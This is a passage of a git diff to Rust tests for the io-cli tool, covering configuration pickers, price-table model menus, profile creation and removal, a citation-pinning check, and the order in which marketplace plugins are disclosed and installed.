state. An empty -/// picker was the alternative and a surface whose argument is that a value is -/// chosen cannot offer nothing. +/// Not a corner case, the ordinary state: `configure::ladder` is handed a number +/// and a sign and never a key, so there is no per-key anchor for it to apply. An +/// empty picker was the alternative, and a surface whose argument is that a value +/// is chosen cannot offer nothing. /// -/// Sabotage: offer an anchor row for `run.max_steps`. Under it F4 fails, because -/// `TaskContract::new` says 8 and `TaskContract::workspace` says 12 and neither is -/// "the default". +/// Sabotage: anchor this on `io_harness::DEFAULT_WORKSPACE_MAX_STEPS` for +/// `run.max_steps`. Under it F4 fails, and it *should*: io-harness names that +/// default (12), but `contract::configured` overwrites it with +/// `contract::MAX_STEPS` before the configuration is applied +/// (`src/contract.rs:210`), so a picker anchored on 12 would show a figure no +/// io-cli turn has ever run under. The number in force for an unset +/// `run.max_steps` is a thousand. #[test] fn f4_an_unset_key_ladders_from_one() { let rungs = configure::ladder(None, false); @@ -929,3 +965,263 @@ fn f4_a_signed_key_reaches_below_zero() { fn f4_zero_is_a_rung() { assert!(configure::ladder(Some(1), false).contains(&0)); } + +// F18 — the model menu is answered by `PriceTable::models`, not scraped. + +/// A user scope spelling its rates as a sub-table per model. +/// +/// `prices::Shape::SubTables` — legal TOML that io-harness reads perfectly well, +/// and the shape an operator writing rates by hand is most likely to reach for. +const SUB_TABLE_USER: &str = r#" +[prices] +as_of = "2026-08-29" + +[prices.models."some-vendor/alpha"] +input = 1000000 +output = 2000000 +"#; + +/// A project scope spelling the same section as a row per model. +/// +/// `prices::Shape::Table` — what io-cli's own price refresh writes. +const ROW_TABLE_PROJECT: &str = r#" +[prices] +as_of = "2026-08-29" + +[prices.models] +"some-vendor/zeta" = { input = 3000000, output = 4000000 } +"#; + +/// The models offered are the ones the merged table can actually price, in both +/// spellings of the section and across scopes. +/// +/// **The user scope is what proves the change, and it was a live defect.** Until +/// 0.30.0 `priced_models` scraped the files for a literal `[prices.models]` +/// header, so a scope written as `[prices.models.""]` matched nothing and +/// contributed no models — the `Kind::Model` picker came up empty on a price table +/// io-harness was reading perfectly well, and an operator had no way to see why. +/// Undo the change and `some-vendor/alpha` disappears from this list while the +/// fixture still parses. +/// +/// The project scope is written the other way on purpose, so this also covers the +/// spelling the scrape did handle and the key-by-key merge across scopes that +/// `Config::discover` performs. Sorted, because the table keys models in a +/// `BTreeMap` and `alpha` precedes `zeta` whatever order the scopes are read in. +#[test] +fn f18_the_offered_models_are_the_ones_the_table_prices() { + let s = scopes(SUB_TABLE_USER, ROW_TABLE_PROJECT, ""); + assert_eq!( + s.priced_models(), + vec!["some-vendor/alpha", "some-vendor/zeta"] + ); +} + +/// A model priced by tiers alone is not offered, because it cannot be priced. +/// +/// **`PriceTable::models`'s own contract, inherited rather than re-implemented.** +/// `PriceTier`s are keyed separately from base prices and `cost_micros` answers +/// `None` for a model that has only tiers, so a menu listing one would promise a +/// cost the table cannot produce. `configure::priced_models` gets this right by +/// asking the table instead of knowing about tiers at all. +/// +/// **The tier is added to the table rather than to a fixture file because +/// io-harness's `[prices]` section cannot express one** — `PricesSection` is +/// `as_of` plus `models` under `deny_unknown_fields`, so a scope file that tried +/// would be refused outright and this would be testing the parser instead. What +/// ties the exclusion back to the surface is the last assertion: the offered list +/// is exactly the models of the table `priced_models` reads, so whatever that +/// table excludes the menu excludes. +#[test] +fn f18_a_model_priced_by_tiers_alone_is_not_offered() { + let s = scopes(SUB_TABLE_USER, ROW_TABLE_PROJECT, ""); + let table = s.config().prices().expect("a [prices] section"); + let with_tier = table.clone().with_tiers( + "some-vendor/tiers-only", + vec![PriceTier { + min_prompt_tokens: 200_000, + price: Price::ZERO, + }], + ); + assert!( + !with_tier.models().contains(&"some-vendor/tiers-only"), + "a model with tiers and no base price cannot be priced and must not be offered" + ); + assert_eq!( + with_tier.models(), + table.models(), + "a tier adds no model the table can price, so it adds no row to the menu" + ); + assert_eq!( + s.priced_models(), + table + .models() + .iter() + .map(|model| (*model).to_string()) + .collect::>(), + "the menu must be exactly what the table prices" + ); +} + +/// A workspace with no `[prices]` offers nothing rather than guessing. +/// +/// **And never reaches the network to fill the gap.** The caller says so and +/// offers the refresh row instead; a settings screen that fetched a catalogue to +/// draw a menu would be spending an operator's money to render a list. +#[test] +fn f18_a_workspace_with_no_prices_offers_no_models() { + let s = scopes("[run]\nmax_steps = 10\n", "", ""); + assert!( + s.config().prices().is_none(), + "the fixture must have no price table for this to be the case it claims" + ); + assert!(s.priced_models().is_empty()); +} + +// --------------------------------------------------------------------------- +// F7, F8, F9 — a profile is created, removed, and visible from every scope. +// --------------------------------------------------------------------------- + +/// **F7.** Creating writes the section; creating it again is refused and writes +/// nothing. +/// +/// The refusal is `Edit::section`'s own, which is the point: a `set` here would +/// append a *second* `[profile.fast]` header to the file and report success. +#[test] +fn f7_a_profile_is_created_and_a_name_already_taken_is_refused() { + let before = "[run]\nmax_steps = 10\n"; + let edit = configure::create_profile("fast").expect("a fresh name is accepted"); + let after = io_cli::edit::apply(before, &[edit]).expect("the section is written"); + + assert!( + after.starts_with(before), + "creating a profile appends and rewrites nothing: {after:?}", + ); + assert!( + after.contains("[profile.fast]"), + "the section is written by its own name: {after:?}", + ); + assert_eq!( + io_cli::edit::sections(&after) + .into_iter() + .filter(|path| path == &vec!["profile".to_string(), "fast".to_string()]) + .count(), + 1, + "exactly one header, which is what `set` would have got wrong", + ); + + // The whole of the refusal: applying the same create to a file that already + // has the section fails, and `apply` is all-or-nothing so nothing is written. + let again = configure::create_profile("fast").expect("the edit is built either way"); + let refusal = io_cli::edit::apply(&after, &[again]) + .expect_err("a profile that already exists is refused"); + assert!( + refusal.contains("fast"), + "the refusal names the profile: {refusal}", + ); +} + +/// **F7, the empty-name arm.** A name that is only whitespace is refused before an +/// edit is built at all, because `[profile.]` is a section an operator can neither +/// switch to nor find again. +#[test] +fn f7_a_profile_needs_a_name() { + assert!(configure::create_profile(" ").is_err()); + assert!(configure::create_profile("").is_err()); +} + +/// **F8.** Removing takes the whole region *and every sub-table under it*, and +/// every other byte of the file is identical. +/// +/// A profile is not one section — `[profile.fast]` and `[profile.fast.run]` are two +/// headers and one profile, which `configure::profiles` has always known because it +/// deduplicates on exactly that. Removing only the first would leave an orphan +/// `[profile.fast.run]` that `profiles` still lists. +#[test] +fn f8_removing_a_profile_takes_its_sub_tables_and_nothing_else() { + let before = concat!( + "[run]\n", + "max_steps = 10\n", + "\n", + "[profile.fast]\n", + "\n", + "[profile.fast.run]\n", + "max_steps = 3\n", + "\n", + "[profile.slow]\n", + "\n", + "[app.io-cli]\n", + "theme = \"dim\"\n", + ); + let edits = configure::remove_profile(before, "fast").expect("the profile is there"); + assert_eq!(edits.len(), 2, "one edit per header: {edits:?}"); + + let after = io_cli::edit::apply(before, &edits).expect("the removal applies"); + + assert!( + !after.contains("[profile.fast]") && !after.contains("[profile.fast.run]"), + "both headers go: {after:?}", + ); + assert!( + after.contains("[profile.slow]"), + "a sibling profile is untouched: {after:?}", + ); + // Byte-for-byte on everything that was not the profile. + assert!( + after.contains("[run]\nmax_steps = 10\n"), + "the unrelated section above comes through verbatim: {after:?}", + ); + assert!( + after.contains("[app.io-cli]\ntheme = \"dim\"\n"), + "and the one below: {after:?}", + ); + let gone = configure::remove_profile(&after, "fast") + .expect_err("it is gone, so removing it again is refused"); + assert!( + gone.contains("slow"), + "the refusal names what the file does declare: {gone}", + ); +} + +/// **F8, the refusal.** A name the file does not declare is an error naming the +/// names it does, not a successful write that removed nothing. +#[test] +fn f8_removing_a_profile_that_is_not_there_is_refused_by_name() { + let refusal = configure::remove_profile("[run]\nmax_steps = 1\n", "fast") + .expect_err("there are no profiles at all"); + assert!( + refusal.contains("no profiles at all"), + "an empty file says so rather than listing nothing: {refusal}", + ); +} + +/// **F9.** A profile declared in a *lower-precedence* scope is listed. +/// +/// This is the arm that reddens on the old implementation. It read +/// `sources().last()` — the highest-precedence file — so a profile in the user +/// scope was invisible to the surface whose whole job is to list them, while +/// `Config::with_profile` would have applied it perfectly well. +#[test] +fn f9_the_profile_list_sees_every_scope_and_not_only_the_last() { + let s = scopes( + "[profile.slow]\n\n[profile.slow.run]\nmax_steps = 2\n", + "[run]\nmax_steps = 10\n", + "", + ); + let config = s.config(); + + assert!( + config.sources().len() > 1, + "the fixture needs more than one source or this asserts nothing", + ); + assert_eq!( + configure::profiles(&config), + vec!["slow".to_string()], + "declared in the user scope, listed anyway — and deduplicated across its \ + own sub-table", + ); + assert!( + configure::with_profile(&config, "slow").is_ok(), + "and the switch could always reach it, which is what made the old list wrong \ + rather than merely narrow", + ); +} diff --git a/tests/docs.rs b/tests/docs.rs index 988e5b3..cabbfc0 100644 --- a/tests/docs.rs +++ b/tests/docs.rs @@ -1056,3 +1056,96 @@ fn the_readme_says_which_pause_cannot_be_resumed() { "the README should offer /fork, which is what an ended turn leaves you", ); } + +// --------------------------------------------------------------------------- +// 0.30.0 F19 — every claim a module makes about io-harness is true of the +// io-harness that is pinned. +// --------------------------------------------------------------------------- + +/// The io-harness version `Cargo.lock` actually pins. +/// +/// Read from the lock and never from `Cargo.toml`, for the reason the release +/// process records: the manifest states a *requirement* (`"0.71"`) and the lock +/// states the *resolution* (`0.71.0`), and a source comment citing a line number +/// is citing the file that was resolved. +fn pinned_harness() -> String { + let lock = read("Cargo.lock"); + let at = lock + .find("name = \"io-harness\"") + .expect("io-harness is in the lock file"); + let rest = &lock[at..]; + let line = rest + .lines() + .find(|line| line.starts_with("version = ")) + .expect("the pinned version follows the name"); + line.trim_start_matches("version = ") + .trim_matches('"') + .to_string() +} + +/// **No source file cites a line inside an io-harness this crate does not pin.** +/// +/// This is the mechanical half of the doc-truth sweep, and it exists because the +/// expensive half is not mechanical at all. Nine citations of the form +/// `io-harness-0.69.0/src/config.rs:1888` were still in the tree at 0.30.0, two +/// pins after that version — each one a line number that had moved, in a file +/// whose contents had changed, presented to the next reader as a fact they could +/// go and check. +/// +/// A citation into the pinned version can still be *wrong*; a citation into a +/// version that is not pinned cannot even be checked. This gate catches the second +/// kind, which is the kind that accumulates silently. +/// +/// Sabotage: put back any one of the nine. It names the file and the version. +#[test] +fn f19_no_source_cites_an_io_harness_this_crate_does_not_pin() { + let pinned = pinned_harness(); + let wanted = format!("io-harness-{pinned}/"); + let mut stale: Vec = Vec::new(); + + // **Recursive, and every citation on a line rather than the first.** Both were + // holes in the first version of this gate: `find` returns one match, so a line + // carrying two citations was checked once and the second could name any version + // at all; and a flat `read_dir` covers `src/` only for as long as `src/` stays + // flat, which is not a property anybody is maintaining. + let mut files: Vec = Vec::new(); + let mut dirs = vec![repo().join("src")]; + while let Some(dir) = dirs.pop() { + for entry in std::fs::read_dir(&dir).expect("a source directory") { + let path = entry.expect("a directory entry").path(); + if path.is_dir() { + dirs.push(path); + } else if path.extension().and_then(|e| e.to_str()) == Some("rs") { + files.push(path); + } + } + } + files.sort(); + + for path in &files { + let text = std::fs::read_to_string(path).expect("a source file"); + for (number, line) in text.lines().enumerate() { + // Only the `io-harness-/` form, which is a path into a + // vendored source tree. A bare "io-harness 0.70.0" is history — a + // sentence about when something changed — and is not a citation. + for (at, _) in line.match_indices("io-harness-") { + if !line[at..].starts_with(&wanted) { + stale.push(format!( + "{}:{}: {}", + path.strip_prefix(repo()).unwrap_or(path).display(), + number + 1, + line.trim(), + )); + } + } + } + } + + assert!( + stale.is_empty(), + "these cite a line inside an io-harness that is not pinned (the pin is \ + {pinned}), so the line numbers are unverifiable and the surrounding \ + claims are unchecked:\n{}", + stale.join("\n"), + ); +} diff --git a/tests/marketplace.rs b/tests/marketplace.rs index e342cdf..0763d18 100644 --- a/tests/marketplace.rs +++ b/tests/marketplace.rs @@ -60,6 +60,19 @@ fn manifest(dir: &Path, text: &str) { std::fs::write(dir.join(io_cli::pluginview::MANIFEST), text).expect("the manifest"); } +/// What io-harness makes of the bundle at `dir`, with nothing declared anywhere. +/// +/// `Plugins::inspect` is `load_one` — the loader `Config::plugins` itself runs — +/// reached without a `[[plugin]]` entry, so this is the same read an install does +/// before it writes, and `Scope::User` is the scope an install writes into. +fn read(dir: &Path) -> io_cli::pluginview::Listed { + io_cli::pluginview::copy_out( + &io_harness::Plugins::inspect(Scope::User, dir) + .unwrap_or_else(|error| panic!("io-harness reads {}: {error}", dir.display())), + true, + ) +} + // --- F1: one name, one parse, one destination --------------------------------- /// **F1 — the slash form and the argv form are one token slice and one request.** @@ -1179,7 +1192,7 @@ fn nothing_out_of_a_stranger_s_manifest_reaches_a_surface_unfiltered() { long.description.as_deref().map(str::len), ); - let hooks = marketplace::hooks(&clone); + let hooks = read(&clone).hooks; assert_eq!(hooks.len(), 1, "{hooks:?}"); assert_eq!( hooks[0].0, "every event", @@ -1198,21 +1211,25 @@ fn nothing_out_of_a_stranger_s_manifest_reaches_a_surface_unfiltered() { ); } -// --- F6 to F9 and F12: disclosure before load --------------------------------- +// --- F6, F16, F17 and F20: disclosure before anything is written --------------- // // A marketplace bundle is code from a stranger that contributes to six subsystems -// at once, and io-harness publishes no loader that takes a directory: `load_one` -// is private and `Plugins::load` is `pub(crate)`. The only public entry is -// `Config::plugins()`, which sees a bundle once a configuration declares it. So -// the install writes the entry `enabled = false`, re-discovers — io-harness has -// now read, parsed, validated and trust-checked it, and routed it to -// `Plugins::disabled()`, contributing nothing — and renders what it found. Consent -// flips that one key. +// at once. Through 0.29.0 io-harness published no loader that took a directory — +// `load_one` was private and `Plugins::load` was `pub(crate)` — so the only way to +// have a bundle read, parsed, validated and trust-checked was to *declare* it: the +// install wrote a `[[plugin]]` entry `enabled = false`, re-discovered, disclosed +// off `Plugins::disabled()`, and consent flipped the key. A bundle io-harness +// refused therefore left its entry behind in a file the operator had agreed to +// nothing about. +// +// io-harness 0.71.0 publishes `Plugins::inspect`, which is that same `load_one` +// reached without an entry. So the read happens first, the refusal happens with +// the configuration file untouched, and the write happens once, on consent. // -// Every test below drives that sequence with the real io-harness, because the -// sequence IS the criterion: a disclosure io-cli composed out of the manifest -// would name the words the manifest uses, and io-harness renames every one of them -// before an operator can ever see it again. +// Every test below drives that against the real io-harness, because the sequence +// IS the criterion: a disclosure io-cli composed out of the manifest would name the +// words the manifest uses, and io-harness renames every one of them before an +// operator can ever see it again. /// A marketplace holding one bundle whose manifest name, directory name and /// contribution names are all deliberately different. @@ -1239,41 +1256,58 @@ fn holding(store: &Path) -> (Vec, PathBuf) { (marketplace::markets(store), dir) } -/// Declare `dir` in `work`'s local file the way a marketplace install does, and -/// hand back the file's own bytes. +/// The whole of what a door does for `plugin add `, **in the order it does +/// it**, with `work`'s local file standing in for the operator's configuration. /// -/// The edit is `manage::plan`'s: the same `pluginview::add_off` a typed -/// `plugin add ` reaches, so nothing here is a second writer. -fn install(work: &Path, dir: &Path) -> String { +/// Resolve the word, ask io-harness what the directory is, and write only if it +/// answered — `Err` short-circuits with the file exactly as it was found, which is +/// F17. Every step is a library call and none of them is re-implemented here: the +/// reading is `marketplace::chosen`'s, the validation and the disclosure are +/// `marketplace::disclosure`'s, and the entry is `pluginview::add`'s, which is the +/// same edit `manage::plan` puts on its `Plan`. +/// +/// `manage::plan` itself cannot be driven for a bundle resolved by *name*: it +/// reaches the marketplaces through `marketplace::installed`, which is behind +/// `crate::home`, and moving `HOME` out from under a suite running in parallel is +/// the thing this file's own header refuses to do. The structural gate at the +/// bottom is what holds `plan` to this order. +fn install(work: &Path, markets: &[Market], word: &str) -> Result { + let file = work.join(io_harness::config::LOCAL_FILE); + let chosen = marketplace::chosen(&work.join(word), || markets.to_vec(), word)?; + if chosen.discloses() { + // The read that decides, before the file is opened for writing. + marketplace::disclosure(Scope::Local, chosen.dir())?; + } + let before = std::fs::read_to_string(&file).unwrap_or_default(); let text = io_cli::edit::apply( - "", - &[io_cli::pluginview::add_off(&io_cli::pluginview::declared( - work, dir, + &before, + &[io_cli::pluginview::add(&io_cli::pluginview::declared( + work, + chosen.dir(), ))], ) - .expect("the disclosing entry applies"); - std::fs::write(work.join(io_harness::config::LOCAL_FILE), &text).expect("the configuration"); - text + .expect("the entry applies"); + std::fs::write(&file, &text).expect("the configuration"); + Ok(text) } -/// **F6 — the install discloses before it enables, and the disclosure is -/// io-harness's parse.** +/// **F6 — the install discloses before it writes, and the disclosure is +/// io-harness's own parse of a directory nothing has declared.** /// -/// The bundle is written `enabled = false`, re-discovered, and what is drawn comes -/// off `Plugins::disabled()`'s `Plugin` accessors. Three things have to hold and -/// each fails alone: the reading of the word was a marketplace's and so -/// `Chosen::discloses`; the entry carries the key; and the names in the disclosure -/// are the ones io-harness rewrote. +/// Three things have to hold and each fails alone: the reading of the word was a +/// marketplace's and so `Chosen::discloses`; the disclosure exists at all with no +/// `[[plugin]]` entry anywhere; and the names in it are the ones io-harness +/// rewrote. /// /// Sabotage: render the contributions from the manifest. The agent is called -/// `reviewer` there and `rust-review__reviewer` after io-harness has loaded it, and +/// `reviewer` there and `rust-review__reviewer` after io-harness has read it, and /// the assertion on the namespaced name fails. /// -/// Second sabotage: write the entry with `pluginview::add`. `disabled()` is then -/// empty, the bundle is loaded, and the disclosure is over something that has -/// already contributed — the assertion that io-harness switched it off fails first. +/// Second sabotage: go back to declaring the bundle first. The disclosure is then +/// taken before any file exists, so a round trip through `Config::discover` finds +/// nothing and the call fails where it now answers. #[test] -fn f6_the_install_declares_off_and_discloses_the_harness_s_own_parse() { +fn f6_the_install_discloses_the_harness_s_own_parse_before_it_writes() { let store = tempfile::tempdir().expect("a marketplaces directory"); let work = tempfile::tempdir().expect("a workspace"); let (markets, dir) = holding(store.path()); @@ -1290,40 +1324,24 @@ fn f6_the_install_declares_off_and_discloses_the_harness_s_own_parse() { assert!( chosen.discloses(), "a bundle out of a marketplace was read as a directory the operator wrote, \ - so it would be declared switched on with nothing disclosed", + so it would be declared with nothing disclosed", ); // And the other reading does not, which is what keeps `/plugin add ./some/dir` // on its 0.28.0 behaviour. assert!( !marketplace::Chosen::Path(dir.clone()).discloses(), - "a directory the operator typed would be declared off and held for consent", + "a directory the operator typed would be held for a consent it does not owe", ); - let text = install(work.path(), &dir); + // Nothing is declared, anywhere, and the disclosure still answers. assert!( - text.contains("enabled = false"), - "the entry was declared switched on, so a stranger's bundle contributed to \ - six subsystems before anyone saw what was in it: {text}", + !work.path().join(io_harness::config::LOCAL_FILE).exists(), + "the fixture starts with no configuration file at all", ); - - // io-harness's own three buckets, asserted where they are. - let config = io_harness::config::Config::discover(work.path()).expect("the file loads"); - let plugins = config.plugins(); - assert!(plugins.is_empty(), "the bundle loaded rather than waiting"); - assert!(plugins.dropped().is_empty(), "it was refused"); - assert_eq!(plugins.disabled().len(), 1); - - let view = io_cli::pluginview::view(&config); - let disclosure = marketplace::disclosure( - &view, - &dir, - &marketplace::hooks(&dir), - 400, - &io_cli::glyphs::UNICODE, - ) - .expect("io-harness read it"); + let disclosure = + marketplace::disclosure(Scope::Local, &dir).expect("io-harness read the directory"); assert_eq!(disclosure.id, "rust-review"); - let said = disclosure.said.join("\n"); + let said = disclosure.said(&io_cli::glyphs::UNICODE).join("\n"); assert!( said.contains("rust-review__reviewer"), "the agent is not named as io-harness namespaced it, so the operator is \ @@ -1334,84 +1352,174 @@ fn f6_the_install_declares_off_and_discloses_the_harness_s_own_parse() { "the policy layer is not named as io-harness namespaced it: {said}", ); assert!( - said.contains("switched off"), - "the disclosure does not say none of it is in this session: {said}", + !said.contains("switched off"), + "the disclosure describes a bundle that was declared and switched off, which \ + is the round trip that is gone: {said}", + ); + + // And what consent then writes is one entry, switched on, in one edit. + let text = install(work.path(), &markets, "rust-review").expect("the install goes through"); + assert!( + !text.contains("enabled"), + "consent wrote an `enabled` key, so the entry is the two-step declaration \ + again: {text}", + ); + // Addressed by id and never by index or count: `Config::discover` layers the + // developer's own `~/.io-cli/io.toml` over this workspace, so a bundle they + // declared is in every one of these buckets beside ours. + let config = io_harness::config::Config::discover(work.path()).expect("the file loads"); + let plugins = config.plugins(); + assert!( + plugins.dropped().iter().all(|d| d.id != "rust-review"), + "the entry consent wrote was refused: {:?}", + plugins + .dropped() + .iter() + .map(|d| &d.error) + .collect::>(), + ); + assert!( + plugins.disabled().iter().all(|p| p.id() != "rust-review"), + "the bundle was written switched off after the operator consented", + ); + assert!( + plugins.iter().any(|p| p.id() == "rust-review"), + "the bundle the operator consented to did not load", ); } -/// **F6, the other half — a bundle io-harness refuses is refused at this point, -/// before consent, in its own sentence.** +/// **F17 — nothing is written to the operator's file before the bundle is +/// validated, and the refusal is io-harness's own sentence.** /// -/// That is a property of the mechanism rather than a check written into io-cli: the -/// file had to be declared for the disclosure to exist at all, so io-harness had -/// already read it, and a refusal lands on `Plugins::dropped` before there is -/// anything to consent to. +/// Two refusals, one per kind: a manifest the deserializer refuses, and a manifest +/// io-harness's trust rule refuses whole. Both are listed by `marketplace::markets` +/// — a listing asks only whether a `plugin.toml` is there — so both are bundles an +/// operator can name and neither is one io-harness will load. In both cases the +/// configuration file — comments, unrelated sections and all — comes out of the +/// install byte for byte as it went in, because the install never reached a write. /// -/// Sabotage: answer `Ok` with an empty disclosure for a bundle nothing read. The -/// operator is then offered "switch it on" over a bundle that will never load. +/// Sabotage: restore the `add_off` round trip, which is what `install` above is a +/// straight-line copy of. The entry is written before io-harness has been asked +/// anything, so the byte comparison fails for both fixtures — and it is the refused +/// one that motivated the change, since its entry stayed in the file for a bundle +/// that will never load. #[test] -fn f6_a_bundle_the_harness_refuses_is_refused_before_consent() { +fn f17_a_refused_bundle_leaves_the_configuration_file_byte_for_byte_unchanged() { + let store = tempfile::tempdir().expect("a marketplaces directory"); let work = tempfile::tempdir().expect("a workspace"); - let dir = work.path().join("not-a-bundle"); - std::fs::create_dir_all(&dir).expect("a directory with no manifest"); - install(work.path(), &dir); - let config = io_harness::config::Config::discover(work.path()).expect("the file loads"); - let view = io_cli::pluginview::view(&config); + // A manifest a marketplace listing accepts and io-harness does not: `markets` + // asks only whether a `plugin.toml` is there, and `deny_unknown_fields` is one + // of the checks only the loader makes. + manifest( + &store + .path() + .join("zeroonething") + .join("ultraship") + .join("plugins") + .join("broken"), + "name = \"broken\"\nnot_a_key = 1\n", + ); + // A manifest a committed `io.toml` may not carry: io-harness refuses the whole + // bundle rather than shortening it. + manifest( + &store + .path() + .join("zeroonething") + .join("ultraship") + .join("plugins") + .join("spawner"), + "name = \"spawner\"\n\n[[hook]]\non = [\"finished\"]\nrun = [\"notify\"]\n", + ); + let markets = marketplace::markets(store.path()); - let refusal = marketplace::disclosure(&view, &dir, &[], 400, &io_cli::glyphs::UNICODE) - .expect_err("io-harness refused it"); + let before = "# the bundles this checkout loads\n\ + [[plugin]]\npath = \"bundles/first\" # ours\n\n\ + [run]\nmax_steps = 30\n"; + let file = work.path().join(io_harness::config::LOCAL_FILE); + std::fs::write(&file, before).expect("the configuration"); + + let refusal = + install(work.path(), &markets, "broken").expect_err("io-harness refused the manifest"); assert!( - refusal.contains(io_cli::pluginview::MANIFEST), - "the refusal is not io-harness's own sentence about the file it looked \ - for: {refusal}", + refusal.contains(io_cli::pluginview::MANIFEST) && refusal.contains("not_a_key"), + "the refusal is not io-harness's own sentence, naming the file and the key \ + it refused: {refusal}", ); assert_eq!( - view.refused.len(), - 1, - "the refusal arrived somewhere other than the bucket `/plugin` draws", + std::fs::read_to_string(&file).expect("the file is still there"), + before, + "a bundle io-harness refuses changed the operator's configuration file", + ); + + // The trust rule, at the one scope that has one. `Scope::Local` is what + // `install` writes into, so this arm is asserted through `disclosure` directly. + let spawner = markets[0] + .bundles + .iter() + .find(|bundle| bundle.label() == "spawner") + .expect("the marketplace holds it"); + let refusal = marketplace::disclosure(Scope::Project, &spawner.dir) + .expect_err("a committed io.toml may not name a program this machine runs"); + assert!( + refusal.contains("may not contribute"), + "the project-scope refusal is not io-harness's own: {refusal}", + ); + assert!( + marketplace::disclosure(Scope::User, &spawner.dir).is_ok(), + "the same manifest is the operator's own business in a user-scope file, and \ + a disclosure that refused it at every scope would be io-cli's opinion", + ); + assert_eq!( + std::fs::read_to_string(&file).expect("the file is still there"), + before, + "asking what a bundle is wrote to the operator's configuration file", ); } -/// **F7, the decline half — declining leaves the bundle declared, off, and -/// visible.** +/// **F7, the decline half — declining writes no byte at all.** +/// +/// Through 0.29.0 a decline left the entry behind, switched off, because the entry +/// was how io-harness had been made to read the bundle in the first place: the +/// operator ended up with a `[[plugin]]` line for a directory they had just said no +/// to. The disclosure comes from `Plugins::inspect` now, so declining is the +/// absence of a write and the file is the file. /// -/// The entry is not removed, and that is the difference between a decline and a -/// bundle that quietly went away: `/plugin` lists it under `DISABLED_MARK` with -/// what switching it on would bring, which is the one edit an operator can undo in -/// a keystroke if they can see it. +/// Sabotage: declare the bundle to disclose it. The comparison below then finds the +/// entry a decline was supposed not to leave. /// -/// Sabotage: remove the entry on decline. The file then carries no `[[plugin]]`, -/// `View::is_empty` is `true`, and both assertions below fail. The structural gate -/// under them is what makes that sabotage impossible to write in the driver: there -/// is exactly one `pluginview::remove` call site in `src/main.rs`, the confirmed -/// removal an operator asked for. +/// The structural gate is the second half: `pluginview::remove` has exactly one +/// call site in the driver — the removal an operator confirmed — so no surface can +/// grow a second one to tidy up after a decline it should never have written. #[test] -fn f7_declining_leaves_the_bundle_declared_off_and_listed() { +fn f7_declining_writes_nothing() { let store = tempfile::tempdir().expect("a marketplaces directory"); let work = tempfile::tempdir().expect("a workspace"); let (_markets, dir) = holding(store.path()); - let text = install(work.path(), &dir); - // Declining writes nothing at all, so the file after it is the file before it. + let before = "[run]\nmax_steps = 30\n"; + let file = work.path().join(io_harness::config::LOCAL_FILE); + std::fs::write(&file, before).expect("the configuration"); + + // The whole of a decline: the disclosure is taken and the write is not made. + let disclosure = + marketplace::disclosure(Scope::Local, &dir).expect("io-harness read the directory"); + assert_eq!(disclosure.id, "rust-review"); assert_eq!( - io_cli::edit::value_at(&text, "plugin[0].enabled").as_deref(), - Some("false"), + std::fs::read_to_string(&file).expect("the file is still there"), + before, + "declining left something in the operator's configuration file", ); - assert!(io_cli::edit::value_at(&text, "plugin[0].path").is_some()); let config = io_harness::config::Config::discover(work.path()).expect("the file loads"); let view = io_cli::pluginview::view(&config); assert!( - !view.is_empty(), - "a configuration declaring one switched-off bundle draws an empty list, so \ - `/plugin` says no bundles are declared over a file that declares one", - ); - assert_eq!(view.plugins.len(), 1); - assert!(!view.plugins[0].enabled); - assert_eq!( - io_cli::pluginview::rows(&view, 400, &io_cli::glyphs::UNICODE)[0].mark, - Some(io_cli::pluginview::DISABLED_MARK), + view.plugins.iter().all(|listed| listed.id != "rust-review") + && view + .refused + .iter() + .all(|refused| refused.id != "rust-review"), + "a declined bundle is listed by `/plugin`, so the entry is still there", ); let driver = code_of("src/main.rs"); @@ -1420,24 +1528,28 @@ fn f7_declining_leaves_the_bundle_declared_off_and_listed() { 1, "`pluginview::remove` is called from {} places in src/main.rs, not 1. The \ one is the removal an operator confirmed on a bundle they chose; a second \ - is a surface taking an entry away for a reason nobody asked for — which \ - over a decline is exactly F7's sabotage.", + is a surface taking an entry away for a reason nobody asked for.", driver.matches("pluginview::remove(").count(), ); } -/// **F8 — consent flips exactly one key.** +/// **F8 — switching a declared bundle on flips exactly one key.** +/// +/// No longer part of a marketplace install — `Plugins::inspect` ended the round +/// trip that wrote an entry off and switched it on afterwards — but still the edit +/// `/plugin`'s own pane makes when an operator switches back on a bundle they had +/// switched off, which is the one edit they can undo in a keystroke. /// /// The byte comparison is the criterion. `pluginview::enable` is an `Edit::set` on /// `plugin[N].enabled`, and `src/edit.rs` replaces a value's own span and copies -/// every other byte through, so the file after consent is the file before it with -/// one word changed — comments, blank lines, the sibling entry and the unrelated +/// every other byte through, so the file after it is the file before it with one +/// word changed — comments, blank lines, the sibling entry and the unrelated /// section included. /// /// Sabotage: rewrite the entry instead of setting the key. Any rewrite reorders, /// re-quotes or drops one of the four things below, and the equality fails. #[test] -fn f8_consent_flips_one_key_and_changes_no_other_byte() { +fn f8_switching_a_bundle_on_flips_one_key_and_changes_no_other_byte() { let before = "# the bundles this checkout loads\n\ [[plugin]]\npath = \"bundles/first\" # ours\n\n\ [run]\nmax_steps = 30\n\n\ @@ -1469,65 +1581,99 @@ fn f8_consent_flips_one_key_and_changes_no_other_byte() { ); } -/// **F9 — the disclosure names each hook's event and command.** +/// **F16 — the hooks in a disclosure are io-harness's, not io-cli's reading of a +/// manifest.** +/// +/// Every row comes off `Plugin::hooks()` and `Hook`'s accessors, and the two +/// fixtures are the two shapes io-cli's own reader could never see. It counted +/// `[[hook]]` section headers and then walked `hook[i].on` through +/// `edit::value_at`, so an **inline `hook = [{…}]` array** was no hook at all, and +/// a **`[[hook]]` header carrying a trailing comment** was a header the section +/// scanner did not recognise. Both are ordinary TOML and io-harness accepts both, +/// so a bundle that spawned programs disclosed none of them. /// -/// io-harness exposes no accessor for a bundle's hooks (io-harness#223), so -/// `contributions()` answers the bare word `hooks` — and hooks are the contribution -/// that runs programs. Consenting on that word is consenting to argv nobody has -/// shown the operator, so the tables are read out of the manifest through -/// `edit::value_at` and each is drawn by name. +/// (They are two bundles rather than one manifest, because TOML forbids appending +/// a `[[hook]]` to an array a `hook = […]` already defined statically — the two +/// spellings are alternatives, which is exactly why a reader has to handle both.) /// -/// Sabotage: fall back to `contributions()` for hooks — pass `detail` an empty -/// slice, which is what that fallback is. The two-rows assertion fails on the one -/// placeholder row, and the last assertion below is that same fallback asserted -/// deliberately so the sabotage is visible rather than merely absent. +/// Sabotage: keep the hand reader and feed it the inline-array fixture. It returns +/// nothing where the accessor returns a hook, and the first count fails; drop the +/// accessor rows altogether and the pane goes back to one placeholder row saying +/// io-cli cannot say what a hook runs, which the last assertion names. #[test] -fn 